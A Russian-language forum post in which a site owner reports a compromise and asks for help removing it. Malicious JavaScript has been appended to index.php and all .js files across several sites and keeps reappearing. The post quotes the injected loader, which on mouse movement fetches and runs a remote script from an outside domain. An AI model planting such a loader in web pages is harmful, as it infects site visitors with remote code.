На сайте завелся вирус — помогите побороть

Доброго времени суток!
Есть у меня хостинг и на нем хостятся несколько сайтов — несколько на друпале и несколько на самописных CMS.

На праздниках заметил что не работает парочка их них — браузер писал об ошибке.
Полез смотреть на index.php.
Оказалось в конец index.php был дописан такой код:

_script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script

_script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script_


Полазив по директориям сайтов обнаружил что такой код дописан во все файлы .js и index.php.

Код из файлов я удалил, но в некоторые файлы он опять дописался.
Помогите разобраться, плз.
Доступа к ssh нету.
Есть доступ только к Директ админ и ФТП.

Заранее спасибо